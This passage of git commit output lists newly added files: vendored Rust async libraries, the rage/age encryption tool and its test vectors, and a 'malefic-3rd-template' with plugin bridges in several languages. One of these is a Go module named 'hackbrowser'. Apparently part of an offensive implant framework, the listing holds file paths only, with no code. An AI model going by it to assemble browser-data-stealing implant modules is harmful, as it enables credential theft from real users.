lib/malio/async-process/src/unix.rs create mode 100644 lib/malio/async-process/src/windows.rs create mode 100644 lib/malio/async-process/tests/sleep.rs create mode 100644 lib/malio/async-process/tests/std.rs create mode 100644 lib/malio/async-task/.github/dependabot.yml create mode 100644 lib/malio/async-task/.github/workflows/ci.yml create mode 100644 lib/malio/async-task/.github/workflows/release.yml create mode 100644 lib/malio/async-task/.gitignore create mode 100644 lib/malio/async-task/CHANGELOG.md create mode 100644 lib/malio/async-task/Cargo.toml create mode 100644 lib/malio/async-task/LICENSE-APACHE create mode 100644 lib/malio/async-task/LICENSE-MIT create mode 100644 lib/malio/async-task/README.md create mode 100644 lib/malio/async-task/benches/spawn.rs create mode 100644 lib/malio/async-task/examples/spawn-local.rs create mode 100644 lib/malio/async-task/examples/spawn-on-thread.rs create mode 100644 lib/malio/async-task/examples/spawn.rs create mode 100644 lib/malio/async-task/examples/with-metadata.rs create mode 100644 lib/malio/async-task/src/header.rs create mode 100644 lib/malio/async-task/src/lib.rs create mode 100644 lib/malio/async-task/src/raw.rs create mode 100644 lib/malio/async-task/src/runnable.rs create mode 100644 lib/malio/async-task/src/state.rs create mode 100644 lib/malio/async-task/src/task.rs create mode 100644 lib/malio/async-task/src/utils.rs create mode 100644 lib/malio/async-task/tests/basic.rs create mode 100644 lib/malio/async-task/tests/cancel.rs create mode 100644 lib/malio/async-task/tests/join.rs create mode 100644 lib/malio/async-task/tests/metadata.rs create mode 100644 lib/malio/async-task/tests/panic.rs create mode 100644 lib/malio/async-task/tests/ready.rs create mode 100644 lib/malio/async-task/tests/waker_panic.rs create mode 100644 lib/malio/async-task/tests/waker_pending.rs create mode 100644 lib/malio/async-task/tests/waker_ready.rs create mode 100644 lib/malio/blocking/.github/dependabot.yml create mode 100644 lib/malio/blocking/.github/workflows/ci.yml create mode 100644 lib/malio/blocking/.github/workflows/release.yml create mode 100644 lib/malio/blocking/.gitignore create mode 100644 lib/malio/blocking/CHANGELOG.md create mode 100644 lib/malio/blocking/Cargo.toml create mode 100644 lib/malio/blocking/LICENSE-APACHE create mode 100644 lib/malio/blocking/LICENSE-MIT create mode 100644 lib/malio/blocking/README.md create mode 100644 lib/malio/blocking/examples/ls.rs create mode 100644 lib/malio/blocking/src/lib.rs create mode 100644 lib/malio/blocking/tests/unblock.rs create mode 100644 lib/malio/parking/.github/dependabot.yml create mode 100644 lib/malio/parking/.github/workflows/ci.yml create mode 100644 lib/malio/parking/.github/workflows/release.yml create mode 100644 lib/malio/parking/.gitignore create mode 100644 lib/malio/parking/CHANGELOG.md create mode 100644 lib/malio/parking/Cargo.toml create mode 100644 lib/malio/parking/LICENSE-APACHE create mode 100644 lib/malio/parking/LICENSE-MIT create mode 100644 lib/malio/parking/LICENSE-THIRD-PARTY create mode 100644 lib/malio/parking/README.md create mode 100644 lib/malio/parking/src/lib.rs create mode 100644 lib/malio/parking/tests/loom.rs create mode 100644 lib/malio/parking/tests/parking.rs create mode 100644 lib/malio/polling/.cirrus.yml create mode 100644 lib/malio/polling/.github/dependabot.yml create mode 100644 lib/malio/polling/.github/workflows/ci.yml create mode 100644 lib/malio/polling/.github/workflows/release.yml create mode 100644 lib/malio/polling/.gitignore create mode 100644 lib/malio/polling/CHANGELOG.md create mode 100644 lib/malio/polling/Cargo.toml create mode 100644 lib/malio/polling/Cross.toml create mode 100644 lib/malio/polling/LICENSE-APACHE create mode 100644 lib/malio/polling/LICENSE-MIT create mode 100644 lib/malio/polling/README.md create mode 100644 lib/malio/polling/examples/tcp_client.rs create mode 100644 lib/malio/polling/examples/two-listeners.rs create mode 100644 lib/malio/polling/examples/wait-signal.rs create mode 100644 lib/malio/polling/src/epoll.rs create mode 100644 lib/malio/polling/src/iocp/afd.rs create mode 100644 lib/malio/polling/src/iocp/mod.rs create mode 100644 lib/malio/polling/src/iocp/port.rs create mode 100644 lib/malio/polling/src/kqueue.rs create mode 100644 lib/malio/polling/src/lib.rs create mode 100644 lib/malio/polling/src/os.rs create mode 100644 lib/malio/polling/src/os/iocp.rs create mode 100644 lib/malio/polling/src/os/kqueue.rs create mode 100644 lib/malio/polling/src/poll.rs create mode 100644 lib/malio/polling/src/port.rs create mode 100644 lib/malio/polling/tests/concurrent_modification.rs create mode 100644 lib/malio/polling/tests/io.rs create mode 100644 lib/malio/polling/tests/many_connections.rs create mode 100644 lib/malio/polling/tests/multiple_pollers.rs create mode 100644 lib/malio/polling/tests/notify.rs create mode 100644 lib/malio/polling/tests/other_modes.rs create mode 100644 lib/malio/polling/tests/precision.rs create mode 100644 lib/malio/polling/tests/timeout.rs create mode 100644 lib/malio/polling/tests/windows_post.rs create mode 100644 lib/malio/polling/tests/windows_waitable.rs create mode 100644 lib/rage/.gitattributes create mode 100644 lib/rage/.github/ISSUE_TEMPLATE/bug-report.md create mode 100644 lib/rage/.github/ISSUE_TEMPLATE/ux-report.md create mode 100644 lib/rage/.github/dependabot.yml create mode 100644 lib/rage/.github/workflows/audit.yml create mode 100644 lib/rage/.github/workflows/audits.yml create mode 100644 lib/rage/.github/workflows/ci.yml create mode 100644 lib/rage/.github/workflows/criterion.yml create mode 100644 lib/rage/.github/workflows/interop.yml create mode 100644 lib/rage/.github/workflows/release.yml create mode 100644 lib/rage/.gitignore create mode 100644 lib/rage/Cargo.toml create mode 100644 lib/rage/LICENSE-APACHE create mode 100644 lib/rage/LICENSE-MIT create mode 100644 lib/rage/README.md create mode 100644 lib/rage/age-core/CHANGELOG.md create mode 100644 lib/rage/age-core/Cargo.toml create mode 100644 lib/rage/age-core/README.md create mode 100644 lib/rage/age-core/src/format.rs create mode 100644 lib/rage/age-core/src/io.rs create mode 100644 lib/rage/age-core/src/lib.rs create mode 100644 lib/rage/age-core/src/plugin.rs create mode 100644 lib/rage/age-core/src/primitives.rs create mode 100644 lib/rage/age-plugin/CHANGELOG.md create mode 100644 lib/rage/age-plugin/Cargo.toml create mode 100644 lib/rage/age-plugin/README.md create mode 100644 lib/rage/age-plugin/README.tpl create mode 100644 lib/rage/age-plugin/examples/age-plugin-unencrypted.rs create mode 100644 lib/rage/age-plugin/src/identity.rs create mode 100644 lib/rage/age-plugin/src/lib.rs create mode 100644 lib/rage/age-plugin/src/recipient.rs create mode 100644 lib/rage/age/CHANGELOG.md create mode 100644 lib/rage/age/Cargo.toml create mode 100644 lib/rage/age/README.md create mode 100644 lib/rage/age/assets/bip39-english.txt create mode 100644 lib/rage/age/benches/parser.rs create mode 100644 lib/rage/age/benches/throughput.rs create mode 100644 lib/rage/age/i18n/en-US/age.ftl create mode 100644 lib/rage/age/i18n/es-AR/age.ftl create mode 100644 lib/rage/age/i18n/fr/age.ftl create mode 100644 lib/rage/age/i18n/it/age.ftl create mode 100644 lib/rage/age/i18n/ru/age.ftl create mode 100644 lib/rage/age/i18n/zh-CN/age.ftl create mode 100644 lib/rage/age/i18n/zh-TW/age.ftl create mode 100644 lib/rage/age/src/cli_common.rs create mode 100644 lib/rage/age/src/cli_common/error.rs create mode 100644 lib/rage/age/src/cli_common/file_io.rs create mode 100644 lib/rage/age/src/cli_common/identities.rs create mode 100644 lib/rage/age/src/cli_common/recipients.rs create mode 100644 lib/rage/age/src/encrypted.rs create mode 100644 lib/rage/age/src/error.rs create mode 100644 lib/rage/age/src/error_fmt.rs create mode 100644 lib/rage/age/src/format.rs create mode 100644 lib/rage/age/src/i18n.rs create mode 100644 lib/rage/age/src/identity.rs create mode 100644 lib/rage/age/src/keys.rs create mode 100644 lib/rage/age/src/lib.rs create mode 100644 lib/rage/age/src/plugin.rs create mode 100644 lib/rage/age/src/primitives.rs create mode 100644 lib/rage/age/src/primitives/armor.rs create mode 100644 lib/rage/age/src/primitives/stream.rs create mode 100644 lib/rage/age/src/protocol.rs create mode 100644 lib/rage/age/src/scrypt.rs create mode 100644 lib/rage/age/src/simple.rs create mode 100644 lib/rage/age/src/ssh.rs create mode 100644 lib/rage/age/src/ssh/identity.rs create mode 100644 lib/rage/age/src/ssh/recipient.rs create mode 100644 lib/rage/age/src/util.rs create mode 100644 lib/rage/age/src/x25519.rs create mode 100644 lib/rage/age/tests/test_vectors.rs create mode 100644 lib/rage/age/tests/testdata/empty_recipient_body.age create mode 100644 lib/rage/age/tests/testdata/empty_recipient_body_key.txt create mode 100644 lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age create mode 100644 lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt create mode 100644 lib/rage/age/tests/testdata/fail_large_filekey_x25519.age create mode 100644 lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt create mode 100644 lib/rage/age/tests/testdata/testkit/armor create mode 100644 lib/rage/age/tests/testdata/testkit/armor_crlf create mode 100644 lib/rage/age/tests/testdata/testkit/armor_empty_line_begin create mode 100644 lib/rage/age/tests/testdata/testkit/armor_empty_line_end create mode 100644 lib/rage/age/tests/testdata/testkit/armor_eol_between_padding create mode 100644 lib/rage/age/tests/testdata/testkit/armor_full_last_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_garbage_encoded create mode 100644 lib/rage/age/tests/testdata/testkit/armor_garbage_leading create mode 100644 lib/rage/age/tests/testdata/testkit/armor_garbage_trailing create mode 100644 lib/rage/age/tests/testdata/testkit/armor_header_crlf create mode 100644 lib/rage/age/tests/testdata/testkit/armor_headers create mode 100644 lib/rage/age/tests/testdata/testkit/armor_invalid_character_header create mode 100644 lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload create mode 100644 lib/rage/age/tests/testdata/testkit/armor_long_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_lowercase create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_end_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_eol create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_match create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_padding create mode 100644 lib/rage/age/tests/testdata/testkit/armor_not_canonical create mode 100644 lib/rage/age/tests/testdata/testkit/armor_pgp_checksum create mode 100644 lib/rage/age/tests/testdata/testkit/armor_short_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_begin create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_end create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_eol create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_outside create mode 100644 lib/rage/age/tests/testdata/testkit/armor_wrong_type create mode 100644 lib/rage/age/tests/testdata/testkit/header_crlf create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_bad create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_extra_space create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_garbage create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_missing create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_no_space create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_not_canonical create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_trailing_space create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_truncated create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_bad_tag create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_double create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_extra_argument create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_long_file_key create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_no_match create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_not_canonical_body create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_not_canonical_salt create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_salt_long create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_salt_missing create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_salt_short create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_uppercase create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_hex create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_garbage create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_plus create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_zero_decimal create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_zero_octal create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_missing create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_negative create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_overflow create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_trailing_garbage create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_wrong create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_zero create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_bad_start create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_base64_padding create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_empty_argument create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_empty_body create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_empty_last_line create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_invalid_character create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_long_line create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_missing_body create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_missing_final_line create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_no_arguments create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_not_canonical create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_spurious_cr create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_valid_characters create mode 100644 lib/rage/age/tests/testdata/testkit/stream_bad_tag create mode 100644 lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk create mode 100644 lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_empty_payload create mode 100644 lib/rage/age/tests/testdata/testkit/stream_last_chunk_empty create mode 100644 lib/rage/age/tests/testdata/testkit/stream_last_chunk_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_last_chunk_full_second create mode 100644 lib/rage/age/tests/testdata/testkit/stream_missing_tag create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_nonce create mode 100644 lib/rage/age/tests/testdata/testkit/stream_short_chunk create mode 100644 lib/rage/age/tests/testdata/testkit/stream_short_nonce create mode 100644 lib/rage/age/tests/testdata/testkit/stream_short_second_chunk create mode 100644 lib/rage/age/tests/testdata/testkit/stream_three_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_long create mode 100644 lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_short create mode 100644 lib/rage/age/tests/testdata/testkit/stream_two_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_two_final_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/version_unsupported create mode 100644 lib/rage/age/tests/testdata/testkit/x25519 create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_bad_tag create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_extra_argument create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_grease create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_identity create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_long_file_key create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_long_share create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_low_order create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_lowercase create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_no_match create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_short_share create mode 100644 lib/rage/age/tests/testkit.rs create mode 100644 lib/rage/docs/CONTRIBUTING.md create mode 100644 lib/rage/docs/debian.md create mode 100644 lib/rage/fuzz-afl/.gitignore create mode 100644 lib/rage/fuzz-afl/Cargo.lock create mode 100644 lib/rage/fuzz-afl/Cargo.toml create mode 100644 lib/rage/fuzz-afl/src/main.rs create mode 100644 lib/rage/fuzz/.gitignore create mode 100644 lib/rage/fuzz/Cargo.lock create mode 100644 lib/rage/fuzz/Cargo.toml create mode 100644 lib/rage/fuzz/fuzz_targets/age_stanza.rs create mode 100644 lib/rage/fuzz/fuzz_targets/decrypt.rs create mode 100644 lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs create mode 100644 lib/rage/fuzz/fuzz_targets/header.rs create mode 100644 lib/rage/rage/CHANGELOG.md create mode 100644 lib/rage/rage/Cargo.toml create mode 100644 lib/rage/rage/build.rs create mode 100644 lib/rage/rage/i18n.toml create mode 100644 lib/rage/rage/i18n/en-US/rage.ftl create mode 100644 lib/rage/rage/i18n/es-AR/rage.ftl create mode 100644 lib/rage/rage/i18n/fr/rage.ftl create mode 100644 lib/rage/rage/i18n/it/rage.ftl create mode 100644 lib/rage/rage/i18n/ru/rage.ftl create mode 100644 lib/rage/rage/i18n/zh-CN/rage.ftl create mode 100644 lib/rage/rage/i18n/zh-TW/rage.ftl create mode 100644 lib/rage/rage/src/bin/rage-keygen/cli.rs create mode 100644 lib/rage/rage/src/bin/rage-keygen/error.rs create mode 100644 lib/rage/rage/src/bin/rage-keygen/main.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/cli.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/main.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/tar.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/zip.rs create mode 100644 lib/rage/rage/src/bin/rage/cli.rs create mode 100644 lib/rage/rage/src/bin/rage/error.rs create mode 100644 lib/rage/rage/src/bin/rage/i18n.rs create mode 100644 lib/rage/rage/src/bin/rage/main.rs create mode 100644 lib/rage/rage/tests/cli_tests.rs create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/help.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/help_it.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/version.toml create mode 100644 lib/rage/rage/tests/cmd/rage-mount/help.toml create mode 100644 lib/rage/rage/tests/cmd/rage-mount/help_it.toml create mode 100644 lib/rage/rage/tests/cmd/rage-mount/version.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/help.toml create mode 100644 lib/rage/rage/tests/cmd/rage/help_it.toml create mode 100644 lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml create mode 100644 lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml create mode 100644 lib/rage/rage/tests/cmd/rage/same-input-and-output.in/same.txt create mode 100644 lib/rage/rage/tests/cmd/rage/same-input-and-output.toml create mode 100644 lib/rage/rage/tests/cmd/rage/version.toml create mode 100644 lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml create mode 100644 lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml create mode 100644 lib/rage/supply-chain/audits.toml create mode 100644 lib/rage/supply-chain/config.toml create mode 100644 lib/rage/supply-chain/imports.lock create mode 100644 lib/rage/tap_migrations.json create mode 100644 malefic-3rd-template/.gitignore create mode 100644 malefic-3rd-template/Cargo.lock create mode 100644 malefic-3rd-template/Cargo.toml create mode 100644 malefic-3rd-template/README.md create mode 100644 malefic-3rd-template/malefic-3rd-c/Cargo.lock create mode 100644 malefic-3rd-template/malefic-3rd-c/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-c/README.md create mode 100644 malefic-3rd-template/malefic-3rd-c/build.rs create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/example/example.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/module.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/module.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-ffi/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-ffi/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-go/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-go/README.md create mode 100644 malefic-3rd-template/malefic-3rd-go/build.rs create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/example/main.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-go/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-nim/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-nim/README.md create mode 100644 malefic-3rd-template/malefic-3rd-nim/build.rs create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h create mode 100644 malefic-3rd-template/malefic-3rd-rust/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-rust/README.md create mode 100644 malefic-3rd-template/malefic-3rd-rust/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-zig/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-zig/README.md create mode 100644 malefic-3rd-template/malefic-3rd-zig/build.rs create 